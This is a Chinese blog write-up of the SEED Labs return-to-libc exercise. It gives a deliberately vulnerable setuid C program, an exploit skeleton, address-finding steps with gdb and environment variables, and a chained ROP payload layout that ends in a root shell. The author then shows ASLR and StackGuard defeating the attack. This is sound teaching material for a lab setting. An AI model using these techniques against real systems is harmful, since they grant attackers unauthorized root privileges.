SEEDLab-Ret2Libc攻击

SEEDLab-Ret2Libc攻击

实验介绍

本实验的学习目标是让学生亲身体验缓冲区溢出攻击的一种有趣变体;这种攻击能够绕过目前主流Linux操作系统中实现的一项现有保护机制。常见的缓冲区溢出利用方式是:用恶意shellcode覆盖缓冲区,然后让易受攻击的程序跳转到存储在栈中的shellcode。为了阻止这类攻击,一些操作系统允许管理员将栈设置为不可执行;这样一来,只要跳转到shellcode,程序就会崩溃。

然而,上述保护并非万无一失;存在一种名为return-to-libc的缓冲区溢出变体,它不需要可执行栈,甚至根本不使用shellcode。相反,它让易受攻击的程序跳转到已有的代码,例如已经加载到内存中的libc库里的system()函数。

在本实验中,学生将得到一个包含缓冲区溢出漏洞的程序;他们的任务是开发一个return-to-libc攻击来利用该漏洞,并最终获得root权限。除了攻击部分外,学生还将了解Ubuntu中为对抗缓冲区溢出攻击而实现的多种保护机制,并需要判断这些机制是否有效并解释原因。

实验内容

2.1 初始设置

你可以使用我们预构建的Ubuntu虚拟机来完成本实验任务。Ubuntu和其他Linux发行版实现了多种安全机制,使缓冲区溢出攻击变得更加困难。为了简化我们的攻击,需要先将这些机制关闭。

地址空间随机化(Address Space Randomization) Ubuntu和其他基于Linux的系统使用地址空间随机化来随机化堆和栈的起始地址。这会让精确猜测地址变得困难,而猜地址是缓冲区溢出攻击中的关键步骤之一。在本实验中,我们需要通过以下命令禁用这些功能:

1
2
3
$ su root
Password: (输入 root 密码)
# sysctl -w kernel.randomize_va_space=0

StackGuard保护机制 GCC编译器实现了一种名为“Stack Guard”的安全机制,用于防止缓冲区溢出。在启用此保护的情况下,缓冲区溢出将无法成功利用。你可以在编译程序时使用-fno-stack-protector开关来禁用该保护。例如,要在编译example.c时禁用Stack Guard,可以使用以下命令:

1
$ gcc -fno-stack-protector example.c

不可执行栈(Non-Executable Stack) Ubuntu过去允许可执行栈,但现在情况已经改变:程序(及其共享库)的二进制镜像必须声明是否需要可执行栈,也就是说,它们需要在程序头中设置一个字段。内核或动态链接器会根据该标记来决定是否将该程序的栈设为可执行或不可执行。

在新版gcc中,这个标记会自动设置,并且默认情况下栈是不可执行的。如果需要改变这一行为,可以在编译程序时使用以下选项:

可执行栈:

1
$ gcc -z execstack -o test test.c

不可执行栈:

1
$ gcc -z noexecstack -o test test.c

由于本实验的目标是展示“不可执行栈(non-executable stack)”这一保护机制并不起作用,因此在本实验中你应始终使用-z noexecstack选项来编译你的程序。

给授课教师的说明:本实验最好安排一次实验课,特别是在学生不熟悉相关工具和环境的情况下。如果教师(或助教)计划组织实验课,建议在第一次实验课中涵盖以下内容:

  1. 虚拟机软件的使用方法。
  2. gdb的基本调试命令及栈结构的基础知识。
  3. 实验环境的配置方法。

2.2 漏洞程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/* retlib.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(FILE *badfile)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
fread(buffer, sizeof(char), 40, badfile);

return 1;
}
int main(int argc, char **argv)
{
FILE *badfile;

badfile = fopen("badfile", "r");
bof(badfile);

printf("Returned Properly\n");

fclose(badfile);
return 1;
}

编译上面的存在漏洞的程序,并将其设置为root用户ID(set-root-uid)。你可以通过在root账户下编译该程序,然后对生成的可执行文件执行chmod 4755来实现这一点。

1
2
3
4
5
$ su root
Password (enter root password)
# gcc -fno-stack-protector -z noexecstack -o retlib retlib.c
# chmod 4755 retlib
# exit

该程序存在缓冲区溢出漏洞。它首先从名为“badfile”的文件中读取40字节的输入,并将其写入一个大小为12字节的缓冲区,从而导致溢出。fread()函数不会检查边界,因此会发生缓冲区溢出。

由于这个程序是set-root-uid程序,如果普通用户能够利用这个缓冲区溢出漏洞,那么普通用户可能获得一个root shell。

需要注意的是,程序的输入来自名为“badfile”的文件,这个文件是由用户控制的。现在,我们的目标是构造“badfile”的内容,使得当易受攻击的程序将内容复制到其缓冲区中时,能够触发并生成一个root shell。

图1 关闭ASLR与编译程序

2.3 任务一 利用漏洞

创建badfile,你可以用下面的框架来创建。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/* exploit.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen("./badfile", "w");
/* You need to decide the addresses and
the values for X, Y, Z. The order of the following
three statements does not imply the order of X, Y, Z.
Actually, we intentionally scrambled the order. */
*(long *) &buf[X] = some address ; // "/bin/sh"
*(long *) &buf[Y] = some address ; // system()
*(long *) &buf[Z] = some address ; // exit()
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
}

你需要确定这些地址的值,并找出应该把这些地址存放在哪里。如果你对这些位置的计算不正确,你的攻击可能无法成功。

完成上述程序后,将其编译并运行;它会生成“badfile”的内容。然后运行存在漏洞的程序retlib。如果你的利用代码实现正确,当函数bof返回时,它会返回到libc中的system()函数,并执行system(“/bin/sh”)。如果该存在漏洞的程序是以root权限运行的,那么此时你就能获得一个root shell。

需要注意的是,exit()函数在此攻击中并不是必需的;然而,如果没有这个函数,当system()返回后,程序可能会崩溃,从而引起注意。

1
2
3
4
$ gcc -o exploit exploit.c
$./exploit // create the badfile
$./retlib // launch the attack by running the vulnerable program
# <---- You’ve got a root shell!

问题:在你的报告中,请回答以下问题: 请描述你是如何确定X、Y和Z的值的。你可以向我们展示你的推理过程;如果你使用的是“试错法(trial-and-error)”,也请展示你的尝试过程。

当你的攻击成功之后,把retlib的文件名改成另外一个名字,并确保新名字的长度不同。例如,你可以把它改成newretlib。然后在不更改badfile内容的情况下重复攻击。你的攻击是否依然成功?如果攻击失败,请解释原因。

图2 使用GDB调试程序 如图2,使用GDB调试程序,在运行程序之后,libc已经载入内存中,可以直接打印出system函数与exit函数的地址。

图3 使用环境变量作为攻击手段 如图3,首先尝试将”\bin\sh”作为环境变量放入到栈中,编写程序输出环境变量的位置。注意打印环境变量地址的程序需要与漏洞程序的文件名长度一致,这样才能保证环境变量的地址不变。

图4 使用GDB获得栈空间情况 如图4,将badfile设置为AAAA进行测试,使用GDB查看栈的情况,可以看出,buffer到bof()返回地址172字节

图5 构造badfile 如图5,将bof返回地址覆盖为system的地址,并在返回地址+8的位置覆盖为参数”/bin/sh”的地址,返回地址+4覆盖为exit的地址。这样,bof函数结束后,将会调用system,而此时push ebp,主调栈基正好在原先返回地址的部分,”/bin/sh”的地址正好在ebp+8的位置,exit正好在ebp+4,即system的返回地址。这样,将先执行system(“/bin/sh”);再执行exit()。

图6 攻击成功 如图6,运行漏洞程序,成功获得root shell。 返回导向编程 要进一步利用栈溢出漏洞,提高攻击自由度,可以采取ROP的方式,采用不断返回到指定地址的指令的方式构造调用链,执行任意多的指令。

在本次实验中,需要劫持程序按序执行下面的语句:

1
2
3
4
system("echo E42314060");
setruid(0,0);
system("/bin/sh");
exit(0);

在bof函数返回地址处覆盖为system的地址,返回地址+8处放置”echo E42314060”字符串的地址,这样bof结束后将执行system(“echo E42314060”);。返回地址+4的位置放置pop xxx;ret指令的地址,这样再执行system()之后,将调用pop,使栈顶指针跳过system()的参数列表,从而指向返回地址+12的位置,下一步执行ret,将会继续执行返回地址+12处的地址。由此类推,可以构造一个调用链,使用任意多的函数。可构造如下所示的输入: |栈偏移量|作用|值/地址|解释| |–|–|–|–| |[buffer]|填充 (Padding)|A * 172|填充缓冲区和EBP栈帧 |EIP|Func 1: system(“echo hello”)|addr(system)|调用system| |EIP + 4|Func 1 Ret Addr|addr(popret)|跳转到下一条指令(setuid)| |EIP + 8|Func 1 Arg 1|addr(“echo E42314060”)|参数1(字符串地址)| |EIP + 12|Func 2: setuid(0)|addr(setuid)|调用setuid| |EIP + 16|Func 2 Ret Addr|addr(popret)|跳转到下一条指令(system)| |EIP + 20|Func 2 Arg 1|0x00000000|参数 1 (UID 0)| |EIP + 24|Func 3: system(“/bin/sh”)|addr(system)|调用system| |EIP + 28|Func 3 Ret Addr|addr(exit)|跳转到下一条指令(exit)| |EIP + 32|Func 3 Arg 1|addr(“/bin/sh”)|参数 1 (字符串地址)| |EIP + 36|Func 4: exit(0)|addr(exit)|调用 exit| |EIP + 40|Func 4 Ret Addr|0xDEADBEEF|最终返回地址 (不重要)| |EIP + 44|Func 4 Arg 1|0x00000000|参数 1 (退出代码 0)|

图7 获得各个地址,设置环境变量 如图7,首先使用gdb调试程序,获得system,exit和setuid函数的地址,之后设置环境变量MYSHELL=”/bin/sh”和MYECHO=”echo E42314060”并获得它们的地址。

图8 获得pop xxx;ret的地址 如图8,使用objdump工具,找到pop xxx;ret的地址。

图9 构造badfile输入 如图9,编写python脚本构造badfile输入。

图10 攻击成功 如图10,运行漏洞程序,攻击成功。

2.4 任务二 地址随机化

在这个任务中,我们将开启Ubuntu的地址随机化(ASLR)保护。我们将运行在任务1中开发的同样的攻击。你还能获得一个shell吗?如果不能,问题出在哪里?地址随机化是如何让你的return-to-libc攻击变得困难的?你应该在实验报告中描述你的观察和解释。你可以使用以下指令来开启地址随机化:

1
2
3
$ su root
Password: (enter root password)
# /sbin/sysctl -w kernel.randomize_va_space=2

图11 攻击失败 如图11,开启地址随机化之后,攻击失败。这是因为地址随机化打开后,每次运行程序地址都会改变,所以badfile中的地址错误,无法攻击成功。

2.5 任务三 Stack Guard保护

在这个任务中,我们将开启Ubuntu的Stack Guard保护。请记得关闭地址随机化保护。我们将运行在任务1中开发的同样的攻击。你还能获得一个shell吗?如果不能,问题出在哪里?Stack Guard保护是如何让你的return-to-libc攻击变得困难的?你应该在实验报告中描述你的观察和解释。你可以使用以下指令在开启Stack Guard保护的情况下编译你的程序。

1
2
3
4
5
$ su root
Password (enter root password)
# gcc -z noexecstack -o retlib retlib.c
# chmod 4755 retlib
# exit

图12 攻击失败 如图12,打开栈保护后,攻击失败。这是因为StackGuard保护机制将会检测缓冲区溢出,并自动停止程序,导致攻击失败。

实验指南

3.1 查找libc函数的地址

要查找任意libc函数的地址,你可以使用下面的gdb命令(a.out是任意程序):

1
2
3
4
5
6
7
$ gdb a.out
(gdb) b main
(gdb) r
(gdb) p system
$1 = {<text variable, no debug info>} 0x9b4550 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0x9a9b70 <exit>

从以上gdb命令中,我们可以发现system()函数的地址是0x9b4550,而exit()函数的地址是0x9a9b70。你系统中的实际地址可能与这些数值不同。

3.2 将“/bin/sh“字符串放入内存

本实验的一个挑战是把字符串“/bin/sh“放进内存,并得到它的地址。这可以通过环境变量实现。当一个C程序执行时,它会从执行它的shell那里继承所有环境变量。环境变量SHELL指向/bin/bash并被其他程序使用,因此我们不更改它,而是引入一个新的环境变量MYSHELL,让它指向/bin/sh:

1
$ export MYSHELL=/bin/sh

我们将使用该变量所在内存的地址作为传给system()的参数。你可以通过以下程序轻松找到这个变量在内存中的位置:

1
2
3
4
5
void main(){
char* shell = getenv("MYSHELL");
if (shell)
printf("%x\n", (unsigned int)shell);
}

如果关闭了地址随机化,你会发现每次打印出的地址都是相同的。然而,当你运行存在漏洞的程序retlib时,这个环境变量的地址可能与上面程序得到的地址不完全一致;甚至当你改变程序名称时(文件名字符数量不同),地址也可能随之改变。好消息是:shell字符串的地址会非常接近你用上述程序打印出的值。因此,你可能需要尝试几次才能成功利用这个地址进行攻击。

3.3 理解栈(Stack)

要成功进行return-to-libc攻击,理解栈的工作方式是至关重要的。我们用一个简单的 C 程序来理解函数调用对栈的影响:

1
2
3
4
5
6
7
8
9
10
11
/* foobar.c */
#include<stdio.h>
void foo(int x)
{
printf("Hello world: %d\n", x);
}
int main()
{
foo(1);
return 0;
}

你可以使用以下命令将该程序编译成汇编代码:gcc -S foobar.c,生成的文件foobar.s将如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
......
8 foo:
9 pushl %ebp
10 movl %esp, %ebp
11 subl $8, %esp
12 movl 8(%ebp), %eax
13 movl %eax, 4(%esp)
14 movl $.LC0, (%esp) : string "Hello world: %d\n"
15 call printf
16 leave
17 ret
......

21 main:
22 leal 4(%esp), %ecx
23 andl $-16, %esp
24 pushl -4(%ecx)
25 pushl %ebp
26 movl %esp, %ebp
27 pushl %ecx
28 subl $4, %esp
29 movl $1, (%esp)
30 call foo
31 movl $0, %eax
32 addl $4, %esp
33 popl %ecx
34 popl %ebp
35 leal -4(%ecx), %esp
36 ret

3.4 调用并进入函数foo()

让我们重点关注调用foo()时栈(stack)的变化。在此之前的栈内容可以忽略。本解释中使用的是行号而非指令地址。

  • 第28–29行:这两条语句将值1(也就是传给foo()的参数)压入栈中。此操作会使%esp增加4(因为栈由高地址向低地址增长,所以“压栈”就是esp-=4,但教材常说“esp增加4”是指栈内容增加了4字节)。执行完后,栈的状态如图Figure 1(a)所示。
  • 第30行:call foo这条指令会做两件事:将下一条指令的地址(返回地址)压入栈中;跳转到 foo() 的代码位置执行。执行完后,栈的结构如图Figure 1(b)所示。
  • 第9–10行:函数foo()的前两条指令执行函数栈帧设置(prologue):第一条指令把当前的%ebp压栈,用于保存上一层函数的帧指针;第二条指令让%ebp指向当前函数的新栈帧顶部。执行完之后,栈的结构如图Figure 1(c)所示。
  • 第11行:subl $8, %esp这条指令修改栈指针%esp,为局部变量和传递给printf的两个参数分配空间(共8字节)。由于函数foo没有局部变量,因此这8个字节仅用于给printf的两个参数腾出空间。执行这一指令后的栈结构如图Figure 1(d)所示。

3.5 离开foo()

现在控制流程已经进入函数 foo()。下面我们来看当函数返回时,栈会发生什么变化。

  • 第16行:leave指令隐式地执行了两条指令(在早期 x86 中是宏,后来成为真正指令):
1
2
mov %ebp, %esp
pop %ebp

第一条指令释放了为当前函数分配的栈空间;第二条指令恢复了调用者的栈帧指针%ebp。执行后栈的样子如Figure 1(e)所示。

  • 第17行:ret指令从栈中弹出返回地址(即调用foo()时压入的地址),然后跳转到该地址继续执行。执行后栈的状态如Figure 1(f)所示。
  • 第32行:addl $4, %esp继续恢复栈,将为foo()的参数分配的额外空间释放掉。到此为止,栈的状态与进入foo()之前(即执行第28行前)完全一致。

SEEDLab-Ret2Libc攻击
https://eleco.top/2025/11/04/SEEDLab-Ret2Libc攻击/
作者
Eleco
发布于
2025年11月4日
许可协议